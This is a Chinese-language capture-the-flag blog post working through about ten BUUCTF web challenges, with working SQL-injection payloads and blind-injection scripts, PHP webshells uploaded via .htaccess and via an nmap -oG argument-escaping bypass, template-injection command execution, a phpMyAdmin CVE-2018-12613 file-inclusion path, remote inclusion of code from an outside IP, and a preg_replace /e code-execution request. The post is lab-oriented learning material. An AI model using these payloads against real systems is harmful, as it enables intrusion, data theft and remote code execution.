3.23-3.30

[GYCTF2020]Blacklist

跟之前那道强网杯的随便注差不多,不过这里ban了改表结构和预编译,所以只能用handler注入,直接上payload

set|prepare|alter|rename|select|update|delete|drop|insert|where|\.
show%20columns%20from%20`FlagHere`;
1%27;handler%20`FlagHere`%20open;handler%20`FlagHere`read%20first;

[CISCN2019 华北赛区 Day2 Web1]Hack World

首先测了一下是字符型还是数字型,测了位运算,发现是数字型,0,1,2有不同的回显,

fuzz了一下,ban了一些,不管了首先试试直接盲注

先试了几个,发现是可以的

我没有用substr(),(因为left和right用惯了,就直接写上了)

if(length((select(flag)from(flag)))>1,1,0)

if(ascii(right(left((select(flag)from(flag)),1),1))>1,1,0)

# -*- coding:utf-8 -*-
import requests
import string
baseurl="http://bdf2fac6-c6e5-48ef-8879-918f09aee3bf.node4.buuoj.cn:81/index.php"
j=1
i=30
while j<50:
    i=30
    while i<128:
        x=""
        url=f"if(ascii(right(left((select(flag)from(flag)),{j}),1))>{i},1,0)"
        post_data = {"id":url}
        res = requests.post(url=baseurl, data=post_data)
        # print(res.text)
        if 'Too Many' in res.text:
            i-=1
            continue
        if 'Error' in res.text:
            print(chr(i),end="")
            break
        i+=1
    j+=1

payload

if(ascii(right(left((select(flag)from(flag)),{j}),1))>{i},1,0)

最开始得到了几种flag,发现是因为有时候访问过于频繁,把结果顶掉了

flag{5faa9559-b645-

4a85-9ee9184481d63c4ae}

flag{Afaa9559-b645-4a85-9ce9-87481d63c4af}

改了一下脚本,这个才是正确的

flag{5faa9559-b645-4a85-9ce9-84481d63c4ae}

[网鼎杯 2018]Fakebook

2ac09954-7cc6-4c39-bd34-f347c72bd256.node4.buuoj.cn:81/view.php?no=if(ascii(1)>1,1,0)

import requests
import re

url=""
baseurl="http://2ac09954-7cc6-4c39-bd34-f347c72bd256.node4.buuoj.cn:81/view.php?no="
for j in range(1,50):
    for i in range(32,128):
        url=baseurl+f"if(ascii(right(left((select group_concat(passwd) from fakebook.users),{j}),1))>{i},1,0)"
        r = requests.get(url)

        # print(r.text)
        #print(re.findall(findlink, r.text)[0][0])
        if "error" in r.text:
            print(chr(i),end="")
            break
        # if(len(re.findall(findlink, r.text))==0) :
        #     print(r.text)
        #     print(chr(i),end="")
        #     break
        # break

找到注入点,参数no后是数字型注入点,可以2-1回显1的页面

if(ascii(right(left(database(),1),1))>1,1,0)
if(ascii(right(left((database()),{j}),1))>{i},1,0)

数据库名fakebook

if(ascii(right(left((select group_concat(table_name) from information_schema.tables where table_schema='fakebook'),{j}),1))>{i},1,0)

数据表名users

if(ascii(right(left((select group_concat(column_name) from information_schema.columns where table_schema='fakebook'),{j}),1))>{i},1,0)

数据列名no,username,passwd,data

if(ascii(right(left((select group_concat(passwd) from fakebook.users),{j}),1))>{i},1,0)

123456

bb3253886bee6bc22e5b6ff53e8506c6be865295ee255bb5c

import requests
import re

url=""
baseurl="http://2ac09954-7cc6-4c39-bd34-f347c72bd256.node4.buuoj.cn:81/view.php?no="
for j in range(1,50):
    i1=32
    i2=128
    while i2-i1>1:
        i=int((i2+i1)/2)
        url=baseurl+f"if(ascii(right(left((select group_concat(data) from fakebook.users),{j}),1))>{i},1,0)"
        r = requests.get(url)
        # print(r.text)
        #print(re.findall(findlink, r.text)[0][0])
        if "error" in r.text:
            i2=i
        else:
            i1=i
        # if(len(re.findall(findlink, r.text))==0) :
        #     print(r.text)
        #     print(chr(i),end="")
        #     break
        # break

    print(chr(i2),end="")
#O:8:"UserInfo":3:{s:4:"name";s:6:"123456";s:3:"age";i:123;s:4:"blog";s:10:"123456.com";}

O:8:"UserInfo":3:{s:4:"name";s:6:"123456";s:3:"age";i:123;s:4:"blog";s:10:"123456.com";}

<?php

class UserInfo
{
    public $name = "1";
    public $age = 0;
    public $blog = "file:///var/www/html/flag.php";
    
}

$a = new UserInfo();
echo serialize($a);
?>
http://d3eb0593-a669-4aa0-bf04-23addb2050ea.node3.buuoj.cn/view.php?no=-1/**/union/**/select/**/1,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:1:%223%22;s:3:%22age%22;i:2;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27%20from%20users

[GXYCTF2019]BabyUpload

简单的文件上传,ban了php,上传在同一个文件夹

两种思路,一种用.htaccess将jpg文件用php格式解析,一种用.user.ini加载到网页,但是同目录下没有php文件了。

所以采用第一种思路

AddType  application/x-httpd-php    .jpg

然后上传图片马

GIF89a
<script language="php">eval($_POST['pass']);</script>

使用蚁剑连接,在根目录下找到flag

[RoarCTF 2019]Easy Java

第一做java类的题目,涉及到很多全新的知识,没做出来,跟着题解复现了一遍,收获良多

进入题目环境,试了一段时间,是登录不进去的,突破点应该在底下的help网址,然后看到了熟悉的参数,filename,但是这道题不会利用。这里确实是突破口,要使用post方式才能得到返回,然后下载下来了help.docx是一句话,并没有什么用。

关键点是访问/WEB_INF/web.xml,这里涉及到一些知识点

WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

这里利用文件下载漏洞,直接下/WEB-INF/web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <welcome-file-list>
        <welcome-file>Index</welcome-file>
    </welcome-file-list>

    <servlet>
        <servlet-name>IndexController</servlet-name>
        <servlet-class>com.wm.ctf.IndexController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>IndexController</servlet-name>
        <url-pattern>/Index</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>LoginController</servlet-name>
        <servlet-class>com.wm.ctf.LoginController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>LoginController</servlet-name>
        <url-pattern>/Login</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>DownloadController</servlet-name>
        <servlet-class>com.wm.ctf.DownloadController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>DownloadController</servlet-name>
        <url-pattern>/Download</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>
</web-app>

找到有用的点,尝试访问

1

报错了,找到有用的信息 com/wm/ctf/FlagController

然后又是一个重点,我们得知了之前得知了servlet-name在/WEB-INF/classes/里,因此推测他是个class文件。

下载访问/WEB_INFclasses/com/wm/ctf/FlagController.class,去除乱码

(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)
SourceFile FlagController.java RuntimeVisibleAnnotations %Ljavax/servlet/annotation/WebServlet; name  FlagController  <ZmxhZ3tlNWY3MzJlMy1mNGFkLTQ5ZjQtYjYzZS02ZTVkZjYwMjg5NGZ9Cg==  
<h1>Flag is nearby ~ Come on! ! !</h1> javax/servlet/http/HttpServlet javax/servlet/ServletException java/io/IOException &javax/servlet/http/HttpServletResponse

中间有一段疑似base64编码,拿去解码得到flag

[BUUCTF 2018]Online Tool

知识点:

先来php代码审计

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

escapeshellarg()函数,转义字符串里的特殊字符,是一种防护方法

escapeshellcmd()函数

-oG将扫描结果保存为TXT

这边正常的话,例如我们输入 127.0.0.1' -oG 经过 escapeshellarg处理后就变成了'127.0.0.1'\'' -oG ' 也就是发现单引号进行转义,且以它为中心分割为三部分(在两边加单引号) 。
随后在进经过escapeshellcmd 时变成:'127.0.0.1'\\'' -oG \'也就是将不成对的单引号及任意\进行添加\的操作。

这里想个办法绕过,当这两个函数一起调用,我们在参数里插入一个',则首先被转义为'\'',然后被转义为'\\''则单引号逃逸了出来,\被转义

我们payload为 1' shell '

escapeshellarg >> '1''' shell ''''

escapeshellcmd >> '1'\'' shell '\'''

最后我们的payload:

' <?php @eval($_POST["pass"]);?> -oG pass.php '

然后使用蚁剑连接,根目录得flag

[BJDCTF2020]The mystery of ip

根据题目提示,它居然知道我的ip,跟ip有关的知识我掌握的不多,我能想到的只有xff头。

进入burpsuite抓包

X-Forwarded-For:127.0.0.1 结果真的变成了127.0.0.1

试了试,可以xss但是没什么用。

!!原来是模板注入X-Forwarded-For:127.0.0.1 {{system("ls")}}

回显

Your IP is : 127.0.0.1 bootstrap
css
flag.php
header.php
hint.php
img
index.php
jquery
libs
templates_c
templates_c                

直接cat /flag 得到flag

Your IP is : 127.0.0.1 flag{4d824d65-faaf-40f6-b15f-1e22960a45e4}

[GWCTF 2019]我有一个数据库

用dirsearch扫一下目录,扫出来几个

200    75KB  http://9a44a3f8-d973-42eb-a4e7-eccfcbee23a4.node4.buuoj.cn:81/phpmyadmin/

200     1KB  http://9a44a3f8-d973-42eb-a4e7-eccfcbee23a4.node4.buuoj.cn:81/phpmyadmin/README

200    20KB  http://9a44a3f8-d973-42eb-a4e7-eccfcbee23a4.node4.buuoj.cn:81/phpmyadmin/ChangeLog

200    75KB  http://9a44a3f8-d973-42eb-a4e7-eccfcbee23a4.node4.buuoj.cn:81/phpmyadmin/index.php

200    15KB  http://9a44a3f8-d973-42eb-a4e7-eccfcbee23a4.node4.buuoj.cn:81/phpmyadmin/doc/html/index.html

访问phpmyadmin,发现根本不用输入密码,直接进去了。

没有找到什么东西(真的什么都没有)查了下版本号,果然有漏洞CVE-2018-12613

看了一篇,知道了如何利用文件包含 https://www.cnblogs.com/leixiao-/p/10265150.html

在phpmyadmin/index.php页面传参?target=db_datadict.php%253f/flag

尝试找flag,不断找上级目录,最终payload

http://9a44a3f8-d973-42eb-a4e7-eccfcbee23a4.node4.buuoj.cn:81/phpmyadmin/index.php?target=db_datadict.php%253f/../../../../../../../../flag

找到flag

flag{71ed1653-159d-46fb-9edd-f10fb5f97b83}

[BJDCTF2020]ZJCTF,不过如此

先是php代码审计

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

常规的远程文件包含绕过payload

text=http://101.43.122.221/caogao.txt

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

然后是一个奇怪的preg_replace漏洞利用,有篇先知社区的文章详谈了

https://xz.aliyun.com/t/2557#toc-5

然后我们学习一下,直接利用起来

GET /?text=http://101.43.122.221/caogao.txt&file=next.php&\S*=${getFlag()}&cmd=system("cat%20/flag"); HTTP/1.1
Host: 62292185-88a1-4b65-96ac-d8bdf41a3776.node4.buuoj.cn:81

发表评论